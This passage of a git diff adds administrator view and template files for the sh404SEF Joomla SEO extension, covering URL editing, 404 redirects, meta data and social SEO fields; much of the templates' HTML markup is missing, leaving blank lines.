JRequest::getInt('notfound_url_id'); + + // read url data from model + $url = $model->getUrl($notFoundUrlId); + + // and push url into the template for display + $this->url = $url; + + if (version_compare(JVERSION, '3.0', 'ge')) + { + // add modal css and js + ShlHtmlBs_helper::addBootstrapCss(JFactory::getDocument()); + ShlHtmlBs_helper::addBootstrapModalFixCss(JFactory::getDocument()); + ShlHtmlBs_helper::addBootstrapJs(JFactory::getDocument()); + + // add title + JToolbarHelper::title('sh404SEF: ' . JText::_('COM_SH404SEF_NOT_FOUND_ENTER_REDIRECT')); + + // CSS + JHtml::styleSheet(Sh404sefHelperGeneral::getComponentUrl() . '/assets/css/configuration.css'); + JHtml::styleSheet(Sh404sefHelperGeneral::getComponentUrl() . '/assets/css/j3_list.css'); + + // add tooltips + // @TODO replace with a viable jQuery equivalent + JHTML::_('behavior.tooltip'); + } + else + { + // build the toolbar + $toolBar = $this->_makeToolbar(); + $this->toolbar = $toolBar; + + // add title. + $this->toolbarTitle = Sh404sefHelperGeneral::makeToolbarTitle(JText::_('COM_SH404SEF_NOT_FOUND_ENTER_REDIRECT'), $icon = 'sh404sef', + $class = 'sh404sef-toolbar-title'); + + // add tooltips + JHTML::_('behavior.tooltip'); + + } + + // link to custom javascript + JHtml::script(Sh404sefHelperGeneral::getComponentUrl() . '/assets/js/' . $this->joomlaVersionPrefix . '_edit.js'); + + // add our own css + JHtml::styleSheet(Sh404sefHelperGeneral::getComponentUrl() . '/assets/css/' . $this->joomlaVersionPrefix . '_editurl.css'); + + // now display normally + parent::display($this->joomlaVersionPrefix); + + } + + /** + * Create toolbar for current view + * + * @param midxed $params + */ + private function _makeToolbar($params = null) + { + + // Get the JComponent instance of JToolBar + $bar = JToolBar::getInstance('toolbar'); + + // add save button as an ajax call + $bar->addButtonPath(JPATH_COMPONENT . '/' . 'classes'); + $params['class'] = 'modalediturl'; + $params['id'] = 'modalediturlsave'; + $params['closewindow'] = 1; + $bar->appendButton('Shajaxbutton', 'save', 'Save', "index.php?option=com_sh404sef&c=editnotfound&task=save&shajax=1&tmpl=component", $params); + + // add apply button as an ajax call + $params['id'] = 'modalediturlapply'; + $params['closewindow'] = 0; + $bar + ->appendButton('Shajaxbutton', 'apply', 'Apply', "index.php?option=com_sh404sef&c=editnotfound&task=apply&shajax=1&tmpl=component", + $params); + + // other button are standards + $bar->appendButton('Standard', 'back', 'Back', 'back', false, false); + JToolBarHelper::cancel('cancel'); + + return $bar; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/editnotfound/view.raw.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/editnotfound/view.raw.php new file mode 100644 index 00000000..55944117 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/editnotfound/view.raw.php @@ -0,0 +1,33 @@ +setMimeEncoding( 'text/xml'); + + // call helper to prepare response xml file content + $response = Sh404sefHelperGeneral::prepareAjaxResponse( $this); + + // echo it + echo $response; + + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/close_j3.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/close_j3.php new file mode 100644 index 00000000..e5322def --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/close_j3.php @@ -0,0 +1,22 @@ +addScriptDeclaration( + ' + setTimeout( function() { + window.parent.shlBootstrap.closeModal(); + }, 1500); + '); diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j2.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j2.php new file mode 100644 index 00000000..4931057e --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j2.php @@ -0,0 +1,151 @@ + +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    + toolbar->render(); ?> + toolbarTitle; ?> +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    + errors)) : ?> +
    +
      + errors as $error) : + echo '
    • ' . $error . '
    • '; + endforeach; + ?> +
    +
    + +
    +
    +
    + +
    +
    +
    +
    + message)) : ?> +
      +
    • message)) echo $this->message; ?>
    • +
    + +
    +
    +
    + +
    +
    +
    +
    +
    +
    +
    + +
    + +
    + $this->startOffset)); + + // don't display url edit panel for home page, as user can't change the url + if (!$this->home) { + echo JHtml::_('tabs.panel', JText::_('COM_SH404SEF_EDIT_URL'), 'editurl'); + echo $this->loadTemplate($this->joomlaVersionPrefix . '_url'); + } + + echo JHtml::_('tabs.panel', JText::_('COM_SH404SEF_EDIT_META'), 'seo'); + echo $this->loadTemplate($this->joomlaVersionPrefix . '_seo'); + + echo JHtml::_('tabs.panel', JText::_('COM_SH404SEF_ALIASES'), 'aliases'); + echo $this->loadTemplate($this->joomlaVersionPrefix . '_aliases'); + + echo JHtml::_('tabs.panel', JText::_('COM_SH404SEF_OG_CONFIG'), 'social_seo'); + echo $this->loadTemplate($this->joomlaVersionPrefix . '_social_seo'); + + echo JHtml::_('tabs.end'); + + // if automatic url, some items are not editable, we pass them as hidden fields + if (!$this->canEditNewUrl) : ?> + + url->get('oldurl'); + if ($this->canEditNewUrl && !empty ($oldUrl)) : ?> + + + + + + + + + + + + + + + + + home || $this->noUrlEditing) : ?> + + + + + +
    +
    + + +
    +
    +
    +
    +
    +
    +
    +
    + +
    \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j2_aliases.full.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j2_aliases.full.php new file mode 100644 index 00000000..5a38b507 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j2_aliases.full.php @@ -0,0 +1,28 @@ + + + + + + + + +
    + + + +
    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j2_aliases.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j2_aliases.php new file mode 100644 index 00000000..f36ad522 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j2_aliases.php @@ -0,0 +1,17 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + +
    + + + + + +
    + + + + + +
    + + + + + +
    + + + + + +
    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j2_seo.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j2_seo.php new file mode 100644 index 00000000..f36ad522 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j2_seo.php @@ -0,0 +1,17 @@ + + + + + + + + + ogData['og_enable'] ); + + ?> + + + + + + ogData['og_type'] ); + echo Sh404sefHelperView::shTextParamHTML( $x, + JText::_('COM_SH404SEF_OG_IMAGE_PATH'), + JText::_('COM_SH404SEF_TT_OG_IMAGE_PATH'), + 'og_image', + $this->ogData['og_image'], 50, 255 ); + ?> + + + + + + ogData['og_enable_description'] ); + echo Sh404sefHelperView::shYesNoParamHTML( $x, + JText::_('COM_SH404SEF_OG_INSERT_SITE_NAME'), + JText::_('COM_SH404SEF_TT_OG_INSERT_SITE_NAME'), + $this->ogData['og_enable_site_name'] ); + + echo Sh404sefHelperView::shTextParamHTML( $x, + JText::_('COM_SH404SEF_OG_SITE_NAME'), + JText::_('COM_SH404SEF_TT_OG_SITE_NAME'), + 'og_site_name', + $this->ogData['og_site_name'], 50, 255 ); + + echo Sh404sefHelperView::shYesNoParamHTML( $x, + JText::_('COM_SH404SEF_OG_ENABLE_FB_ADMIN_IDS'), + JText::_('COM_SH404SEF_TT_OG_ENABLE_FB_ADMIN_IDS'), + $this->ogData['og_enable_fb_admin_ids']); + + echo Sh404sefHelperView::shTextParamHTML( $x, + JText::_('COM_SH404SEF_FB_ADMIN_IDS'), + JText::_('COM_SH404SEF_TT_FB_ADMIN_IDS'), + 'fb_admin_ids', + $this->ogData['fb_admin_ids'], 50, 255 ); + ?> + + + + + + '; + echo Sh404sefHelperView::shYesNoParamHTML( $x, + JText::_('COM_SH404SEF_SOCIAL_ENABLE_TWITTER_CARDS'), + JText::_('COM_SH404SEF_SOCIAL_ENABLE_TWITTER_CARDS_DESC_PER_URL'), + $this->twCardsData['twittercards_enable'] ); + echo Sh404sefHelperView::shTextParamHTML( $x, + JText::_('COM_SH404SEF_SOCIAL_TWITTER_CARDS_SITE_ACCOUNT'), + JText::_('COM_SH404SEF_SOCIAL_TWITTER_CARDS_SITE_ACCOUNT_DESC'), + 'twittercards_site_account', + $this->twCardsData['twittercards_site_account'], 50, 100 ); + echo Sh404sefHelperView::shTextParamHTML( $x, + JText::_('COM_SH404SEF_SOCIAL_TWITTER_CARDS_CREATOR_ACCOUNT'), + JText::_('COM_SH404SEF_SOCIAL_TWITTER_CARDS_CREATOR_ACCOUNT_DESC'), + 'twittercards_creator_account', + $this->twCardsData['twittercards_creator_account'], 50, 100 ); + + ?> + + + + + + googleAuthorshipData['google_authorship_enable'] ); + echo Sh404sefHelperView::shTextParamHTML( $x, + JText::_('COM_SH404SEF_GOOGLE_AUTHORSHIP_PROFILE'), + JText::_('COM_SH404SEF_GOOGLE_AUTHORSHIP_PROFILE_DESC'), + 'google_authorship_author_profile', + $this->googleAuthorshipData['google_authorship_author_profile'], 50, 100 ); + echo Sh404sefHelperView::shTextParamHTML( $x, + JText::_('COM_SH404SEF_GOOGLE_AUTHORSHIP_AUTHOR_NAME'), + JText::_('COM_SH404SEF_GOOGLE_AUTHORSHIP_AUTHOR_NAME_DESC'), + 'google_authorship_author_name', + $this->googleAuthorshipData['google_authorship_author_name'], 50, 100 ); + + echo Sh404sefHelperView::shYesNoParamHTML( $x, + JText::_('COM_SH404SEF_SOCIAL_ENABLE_GOOGLE_PUBLISHER'), + JText::_('COM_SH404SEF_SOCIAL_ENABLE_GOOGLE_PUBLISHER'), + $this->googlePublisherData['google_publisher_enable'] ); + echo Sh404sefHelperView::shTextParamHTML( $x, + JText::_('COM_SH404SEF_GOOGLE_PUBLISHER_URL'), + JText::_('COM_SH404SEF_GOOGLE_PUBLISHER_URL_DESC'), + 'google_publisher_url', + $this->googlePublisherData['google_publisher_url'], 40, 255 ); +?> +
    OpenGraph
    ' . JText::_('COM_SH404SEF_SOCIAL_TWITTER_CARDS_USE_OG_IMAGE') . '
    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j2_social_seo.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j2_social_seo.php new file mode 100644 index 00000000..e2570697 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j2_social_seo.php @@ -0,0 +1,17 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + url->get('oldurl'); + if ( $this->noUrlEditing || ($this->canEditNewUrl && !empty($oldUrl)) ) { + echo $this->escape( $this->url->get('oldurl') ); + } else { ?> + + + + noUrlEditing || ($this->canEditNewUrl && !empty($oldUrl))) { + echo ' '; + } else { + echo JHTML::_('tooltip', JText::_('COM_SH404SEF_TT_OLDURL')); + } ?> +
    + + + canEditNewUrl || $this->noUrlEditing) { + echo $this->escape( $this->url->get('newurl') ); + } else { ?> + + + + canEditNewUrl || $this->noUrlEditing) { + echo ' '; + } else { + echo JHTML::_('tooltip', JText::_('COM_SH404SEF_TT_NEWURL')); + } ?> +
    + + + noUrlEditing) { + echo $this->escape( $this->meta->canonical ); + } else { ?> + + + + noUrlEditing) { + echo ' '; + } else { + echo JHTML::_('tooltip', JText::_('COM_SH404SEF_TT_CANONICAL')); + } ?> +
    + + + escape($this->pageid->pageid); + ?> + +   +
    + QR code  + + QR code + +   +
    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j2_url.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j2_url.php new file mode 100644 index 00000000..e2570697 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j2_url.php @@ -0,0 +1,17 @@ + + +
    +
    +
    +url->id)) +{ + echo ShlHtmlBs_Helper::label(Sh404sefHelperHtml::abridge( $this->escape( JText::_('COM_SH404SEF_ADD_URL_TITLE')), 'editurl'), 'info', $dismiss = false, 'label-large'); +} else +{ + $title = JText::_('COM_SH404SEF_MODIFY_LINK_TITLE') . ' '; + echo $title . ShlHtmlBs_Helper::label(Sh404sefHelperHtml::abridge( $this->escape( $this->url->oldurl), 'editurl'), 'info', $dismiss = false, 'label-large'); +} + +?> +
    +
    + + +
    +
    +
    + +
    + + +
    + +
    + +
    + + + + 'panel' . $this->activePanel)); + + // don't display url edit panel for home page, as user can't change the url + if (!$this->home) { + echo JHtml::_('bootstrap.addPanel', 'sh404SEFEditurl', 'panelediturl'); + echo $this->loadTemplate($this->joomlaVersionPrefix . '_url'); + echo JHtml::_('bootstrap.endPanel'); + } + + echo JHtml::_('bootstrap.addPanel', 'sh404SEFEditurl', 'panelseo'); + echo $this->loadTemplate($this->joomlaVersionPrefix . '_seo'); + echo JHtml::_('bootstrap.endPanel'); + + echo JHtml::_('bootstrap.addPanel', 'sh404SEFEditurl', 'panelaliases'); + echo $this->loadTemplate($this->joomlaVersionPrefix . '_aliases'); + echo JHtml::_('bootstrap.endPanel'); + + echo JHtml::_('bootstrap.addPanel', 'sh404SEFEditurl', 'panelsocial_seo'); + echo $this->loadTemplate($this->joomlaVersionPrefix . '_social_seo'); + echo JHtml::_('bootstrap.endPanel'); + + echo JHtml::_('bootstrap.endPane'); + + // if automatic url, some items are not editable, we pass them as hidden fields + if (!$this->canEditNewUrl) : ?> + + url->get('oldurl'); + if ($this->canEditNewUrl && !empty ($oldUrl)) : ?> + + + + +
    + + + + + + + + + + + home || $this->noUrlEditing) : ?> + + + + + +
    +
    +
    +
    +
    \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j3_aliases.full.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j3_aliases.full.php new file mode 100644 index 00000000..7849f8d0 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j3_aliases.full.php @@ -0,0 +1,30 @@ + +
    +name = 'shAliasList'; +$data->label = JText::_('COM_SH404SEF_ALIASES'); +$data->input = ''; +$data->tip = JText::_('COM_SH404SEF_TT_ALIAS_LIST'); +echo $this->layoutRenderer['custom']->render($data); + +?> +
    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j3_aliases.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j3_aliases.php new file mode 100644 index 00000000..e2570697 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j3_aliases.php @@ -0,0 +1,17 @@ + +
    + metaDataSpecs['metatitle-one-line']); + echo ShlHtmlBs_Helper::renderInputCounter( 'metadesc', Sh404sefFactory::getPConfig()->metaDataSpecs['metadesc']); + + // metatitle + $data = new stdClass(); + $data->name = 'metatitle'; + $data->label = JText::_('COM_SH404SEF_META_TITLE'); + $data->input = ''; + $data->tip = JText::_('COM_SH404SEF_TT_META_TITLE'); + echo $this->layoutRenderer['custom']->render($data); + + // metadesc + $data = new stdClass(); + $data->name = 'metadesc'; + $data->label = JText::_('COM_SH404SEF_META_DESC'); + $data->input = ''; + $data->tip = JText::_('COM_SH404SEF_TT_META_DESC'); + echo $this->layoutRenderer['custom']->render($data); + + // metakey + $data = new stdClass(); + $data->name = 'metakey'; + $data->label = JText::_('COM_SH404SEF_META_KEYWORDS'); + $data->input = ''; + $data->tip = JText::_('COM_SH404SEF_TT_META_KEYWORDS'); + echo $this->layoutRenderer['custom']->render($data); + + // metarobots + $data = new stdClass(); + $data->name = 'metarobots'; + $data->label = JText::_('COM_SH404SEF_META_ROBOTS'); + $data->input = ''; + $data->tip = JText::_('COM_SH404SEF_TT_META_ROBOTS'); + echo $this->layoutRenderer['custom']->render($data); + + // metalang + $data = new stdClass(); + $data->name = 'metalang'; + $data->label = JText::_('COM_SH404SEF_META_LANG'); + $data->input = ''; + $data->tip = JText::_('COM_SH404SEF_TT_META_LANG'); + echo $this->layoutRenderer['custom']->render($data); + +?> +
    \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j3_seo.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j3_seo.php new file mode 100644 index 00000000..f36ad522 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j3_seo.php @@ -0,0 +1,17 @@ + +
    +name = 'og_enable'; +$data->label = JText::_('COM_SH404SEF_OG_DATA_ENABLED_BY_URL'); +$data->input = $this->ogData['og_enable']; +$data->tip = JText::_('COM_SH404SEF_TT_OG_DATA_ENABLED_BY_URL'); +echo $this->layoutRenderer['custom']->render($data); + +$data = new stdClass(); +$data->label = '' . JText::_('COM_SH404SEF_OG_REQUIRED_TITLE') . ''; +echo $this->layoutRenderer['shlegend']->render($data); + +// og_type +$data = new stdClass(); +$data->name = 'og_type'; +$data->label = JText::_('COM_SH404SEF_OG_TYPE_SELECT'); +$data->input = $this->ogData['og_type']; +$data->tip = JText::_('COM_SH404SEF_TT_OG_TYPE_SELECT'); +echo $this->layoutRenderer['custom']->render($data); + +// og_image +$data = new stdClass(); +$data->name = 'og_image'; +$data->label = JText::_('COM_SH404SEF_OG_IMAGE_PATH'); +$data->input = ''; +$data->tip = JText::_('COM_SH404SEF_TT_OG_IMAGE_PATH'); +echo $this->layoutRenderer['custom']->render($data); + +$data = new stdClass(); +$data->label = '' . JText::_('COM_SH404SEF_OG_OPTIONAL_TITLE') . ''; +echo $this->layoutRenderer['shlegend']->render($data); + +// og_enable_description +$data = new stdClass(); +$data->name = 'og_enable_description'; +$data->label = JText::_('COM_SH404SEF_OG_INSERT_DESCRIPTION'); +$data->input = $this->ogData['og_enable_description']; +$data->tip = JText::_('COM_SH404SEF_TT_OG_INSERT_DESCRIPTION'); +echo $this->layoutRenderer['custom']->render($data); + +// og_enable_site_name +$data = new stdClass(); +$data->name = 'og_enable_site_name'; +$data->label = JText::_('COM_SH404SEF_OG_INSERT_SITE_NAME'); +$data->input = $this->ogData['og_enable_site_name']; +$data->tip = JText::_('COM_SH404SEF_TT_OG_INSERT_SITE_NAME'); +echo $this->layoutRenderer['custom']->render($data); + +// og_site_name +$data = new stdClass(); +$data->name = 'og_site_name'; +$data->label = JText::_('COM_SH404SEF_OG_SITE_NAME'); +$data->input = ''; +$data->tip = JText::_('COM_SH404SEF_TT_OG_SITE_NAME'); +echo $this->layoutRenderer['custom']->render($data); + +// og_enable_fb_admin_ids +$data = new stdClass(); +$data->name = 'og_enable_fb_admin_ids'; +$data->label = JText::_('COM_SH404SEF_OG_ENABLE_FB_ADMIN_IDS'); +$data->input = $this->ogData['og_enable_fb_admin_ids']; +$data->tip = JText::_('COM_SH404SEF_TT_OG_ENABLE_FB_ADMIN_IDS'); +echo $this->layoutRenderer['custom']->render($data); + +// og_site_name +$data = new stdClass(); +$data->name = 'fb_admin_ids'; +$data->label = JText::_('COM_SH404SEF_FB_ADMIN_IDS'); +$data->input = ''; +$data->tip = JText::_('COM_SH404SEF_TT_FB_ADMIN_IDS'); +echo $this->layoutRenderer['custom']->render($data); + +// twitter Cards +$data = new stdClass(); +$data->label = '' . JText::_('COM_SH404SEF_TWITTER_CARDS_TITLE') . ''; +echo $this->layoutRenderer['shlegend']->render($data); + +echo '

    ' . JText::_('COM_SH404SEF_SOCIAL_TWITTER_CARDS_USE_OG_IMAGE') . '

    '; + +// Enable Twitter Cards +$data = new stdClass(); +$data->name = 'twittercards_enable'; +$data->label = JText::_('COM_SH404SEF_SOCIAL_ENABLE_TWITTER_CARDS'); +$data->input = $this->twCardsData['twittercards_enable']; +$data->tip = JText::_('COM_SH404SEF_SOCIAL_ENABLE_TWITTER_CARDS_DESC_PER_URL'); +echo $this->layoutRenderer['custom']->render($data); + +// twitter cards site account +$data = new stdClass(); +$data->name = 'twittercards_site_account'; +$data->label = JText::_('COM_SH404SEF_SOCIAL_TWITTER_CARDS_SITE_ACCOUNT'); +$data->input = ''; +$data->tip = JText::_('COM_SH404SEF_SOCIAL_TWITTER_CARDS_SITE_ACCOUNT_DESC'); +echo $this->layoutRenderer['custom']->render($data); + +// twitter cards site account +$data = new stdClass(); +$data->name = 'twittercards_creator_account'; +$data->label = JText::_('COM_SH404SEF_SOCIAL_TWITTER_CARDS_CREATOR_ACCOUNT'); +$data->input = ''; +$data->tip = JText::_('COM_SH404SEF_SOCIAL_TWITTER_CARDS_CREATOR_ACCOUNT_DESC'); +echo $this->layoutRenderer['custom']->render($data); + +// Google Authorship +$data = new stdClass(); +$data->label = '' . JText::_('COM_SH404SEF_GOOGLE_AUTHORSHIP_TITLE') . ''; +echo $this->layoutRenderer['shlegend']->render($data); + +// Enable +$data = new stdClass(); +$data->name = 'google_authorship_enable'; +$data->label = JText::_('COM_SH404SEF_SOCIAL_ENABLE_GOOGLE_AUTHORSHIP'); +$data->input = $this->googleAuthorshipData['google_authorship_enable']; +$data->tip = JText::_('COM_SH404SEF_SOCIAL_ENABLE_GOOGLE_AUTHORSHIP_DESC'); +echo $this->layoutRenderer['custom']->render($data); + +// authorship url +$data = new stdClass(); +$data->name = 'google_authorship_author_profile'; +$data->label = JText::_('COM_SH404SEF_GOOGLE_AUTHORSHIP_PROFILE'); +$data->input = ''; +$data->tip = JText::_('COM_SH404SEF_GOOGLE_AUTHORSHIP_PROFILE_DESC'); +echo $this->layoutRenderer['custom']->render($data); + +// authorship name +$data = new stdClass(); +$data->name = 'google_authorship_author_name'; +$data->label = JText::_('COM_SH404SEF_GOOGLE_AUTHORSHIP_AUTHOR_NAME'); +$data->input = ''; +$data->tip = JText::_('COM_SH404SEF_GOOGLE_AUTHORSHIP_AUTHOR_NAME_DESC'); +echo $this->layoutRenderer['custom']->render($data); + +// publisher enable +$data = new stdClass(); +$data->name = 'google_publisher_enable'; +$data->label = JText::_('COM_SH404SEF_SOCIAL_ENABLE_GOOGLE_PUBLISHER'); +$data->input = $this->googlePublisherData['google_publisher_enable']; +$data->tip = JText::_('COM_SH404SEF_SOCIAL_ENABLE_GOOGLE_PUBLISHER_DESC'); +echo $this->layoutRenderer['custom']->render($data); + +// authorship url +$data = new stdClass(); +$data->name = 'google_publisher_url'; +$data->label = JText::_('COM_SH404SEF_GOOGLE_PUBLISHER_URL'); +$data->input = ''; +$data->tip = JText::_('COM_SH404SEF_GOOGLE_PUBLISHER_URL_DESC'); +echo $this->layoutRenderer['custom']->render($data); + +?> +
    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j3_social_seo.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j3_social_seo.php new file mode 100644 index 00000000..e2570697 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j3_social_seo.php @@ -0,0 +1,17 @@ + +
    + name = 'oldurl'; + $data->label = JText::_('COM_SH404SEF_OLDURL'); + $oldUrl = $this->url->get('oldurl'); + if ($this->noUrlEditing || ($this->canEditNewUrl && !empty($oldUrl))) + { + $data->input = $this->escape($oldUrl); + } + else + { + $data->input = ''; + } + $data->tip = $this->noUrlEditing || ($this->canEditNewUrl && !empty($oldUrl)) ? '' : JText::_('COM_SH404SEF_TT_OLDURL'); + echo $this->layoutRenderer['custom']->render($data); + + // new url + $data = new stdClass(); + $data->name = 'newurl'; + $data->label = JText::_('COM_SH404SEF_NEWURL'); + $newUrl = $this->url->get('newurl'); + if (!$this->canEditNewUrl || $this->noUrlEditing) + { + $data->input = $this->escape($newUrl); + } + else + { + $data->input = ''; + } + $data->tip = !$this->canEditNewUrl || $this->noUrlEditing ? '' : JText::_('COM_SH404SEF_TT_NEWURL'); + echo $this->layoutRenderer['custom']->render($data); + + // canonical + $data = new stdClass(); + $data->name = 'canonical'; + $data->label = JText::_('COM_SH404SEF_CANONICAL'); + if ($this->noUrlEditing) + { + $data->input = $this->escape($this->meta->canonical); + } + else + { + $data->input = ''; + } + $data->tip = $this->noUrlEditing ? '' : JText::_('COM_SH404SEF_TT_CANONICAL'); + echo $this->layoutRenderer['custom']->render($data); + + // shurl + $data = new stdClass(); + $data->name = 'shurl'; + $data->label = JText::_('COM_SH404SEF_PAGE_ID'); + $data->input = ShlHtmlBs_Helper::badge($this->escape($this->pageid->pageid), 'info'); + $data->tip = ''; + echo $this->layoutRenderer['custom']->render($data); + + // QR code + $data = new stdClass(); + $data->name = 'qrcode'; + $data->label = 'QR code'; + $data->input = 'QR code'; + $data->tip = ''; + echo $this->layoutRenderer['custom']->render($data); + ?> +
    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j3_url.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j3_url.php new file mode 100644 index 00000000..e2570697 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j3_url.php @@ -0,0 +1,17 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/refresh_j3.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/refresh_j3.php new file mode 100644 index 00000000..2cf45b9a --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/refresh_j3.php @@ -0,0 +1,18 @@ +document = JFactory::getDocument(); +$displayData->refreshAfter = 1500; +ShlMvcLayout_Helper::render('com_sh404sef.general.refresh_parent', $displayData); + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/view.html.full.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/view.html.full.php new file mode 100644 index 00000000..d36cd4fc --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/view.html.full.php @@ -0,0 +1,276 @@ +joomlaVersionPrefix = Sh404sefHelperGeneral::getJoomlaVersionPrefix(); + + // get model and update context with current + $model = $this->getModel(); + $context = $model->updateContext($this->_context . '.' . $this->getLayout()); + + // get url id + $cid = JRequest::getVar('cid', array(0), 'default', 'array'); + $cid = intval($cid[0]); + + // get home page flag, and make sure id is 0 if editing home data + $home = JRequest::getInt('home'); + if ($home == 1) + { + $cid = 0; + } + $this->home = $home; + + // optional starting pane in case of tabbed edition + $startOffset = JRequest::getInt('startOffset', 0); + $this->startOffset = $startOffset; + + // read url data from model + $url = $model->getById($cid); + + // if editing home, set home url + if ($this->home == 1) + { + $url->set('newurl', sh404SEF_HOMEPAGE_CODE); + } + + // controllers may forbid to edit sef or non-sef urls + $noUrlEditing = empty($this->noUrlEditing) ? false : $this->noUrlEditing; + $this->noUrlEditing = $noUrlEditing; + + // and push url into the template for display + $this->url = $url; + + // we only allow editing of non-sef url for new urls, that is when non sef url field is empty + // of for 404s, when we have a sef but no non-sef + $newUrl = $url->get('newurl'); + $this->canEditNewUrl = empty($newUrl); + + // are we creating a new url rcord or editing an existing one + $oldUrl = $url->get('oldurl'); + $existingUrl = !empty($newUrl) || !empty($oldUrl); + + // now read meta for this url, using meta model + if ($existingUrl) + { + $metaModel = ShlMvcModel_Base::getInstance('metas', 'Sh404sefModel'); + $metas = $metaModel->getList((object) array('newurl' => $url->get('newurl')), $returnZeroElement = true); + $meta = $metas[0]; + } + else + { + $meta = JTable::getInstance('metas', 'Sh404sefTable'); + } + $this->meta = $meta; + + // now read aliases for this url, using an aliases model + if (!empty($newUrl) && (!empty($oldUrl) || $this->home == 1)) + { + $aliasModel = ShlMvcModel_Base::getInstance('aliases', 'Sh404sefModel'); + $aliases = $aliasModel->getDisplayableList((object) array('newurl' => $url->get('newurl'))); + } + else + { + $aliases = ''; + } + $this->aliases = $aliases; + + // now read pageid for this url, using pageid model + $pageidModel = ShlMvcModel_Base::getInstance('pageids', 'Sh404sefModel'); + $pageids = $pageidModel->getList((object) array('newurl' => $url->get('newurl')), $returnZeroElement = true); + $this->pageid = $pageids[0]; + + // url used to create QRCode + $sefConfig = Sh404sefFactory::getConfig(); + $this->qrCodeUrl = JUri::root() . ltrim($sefConfig->shRewriteStrings[$sefConfig->shRewriteMode], '/') . $this->url->get('oldurl'); + + // push social seo data + $this->_pushDataSocial_seo(); + + // find active starting panel + $this->activePanel = $this->_getActiveStartingPanel(); + + // add title. If there is an id, we are editing an existing url, or else we create a new one + // other case : edting home page, there is a specific title + if ($this->home == 1) + { + $title = JText::_('COM_SH404SEF_HOME_PAGE_EDIT_TITLE'); + } + else + { + $title = $url->get('id') ? JText::_('COM_SH404SEF_EDIT_URL_TITLE') : JText::_('COM_SH404SEF_ADD_URL_TITLE'); + } + + if (version_compare(JVERSION, '3.0', 'ge')) + { + // add modal css and js + ShlHtmlBs_helper::addBootstrapCss(JFactory::getDocument()); + ShlHtmlBs_helper::addBootstrapModalFixCss(JFactory::getDocument()); + ShlHtmlBs_helper::addBootstrapJs(JFactory::getDocument()); + + // add title + JToolbarHelper::title('sh404SEF: ' . $title); + + // prepare layouts objects, to be used by sub-layouts + $this->layoutRenderer = array(); + 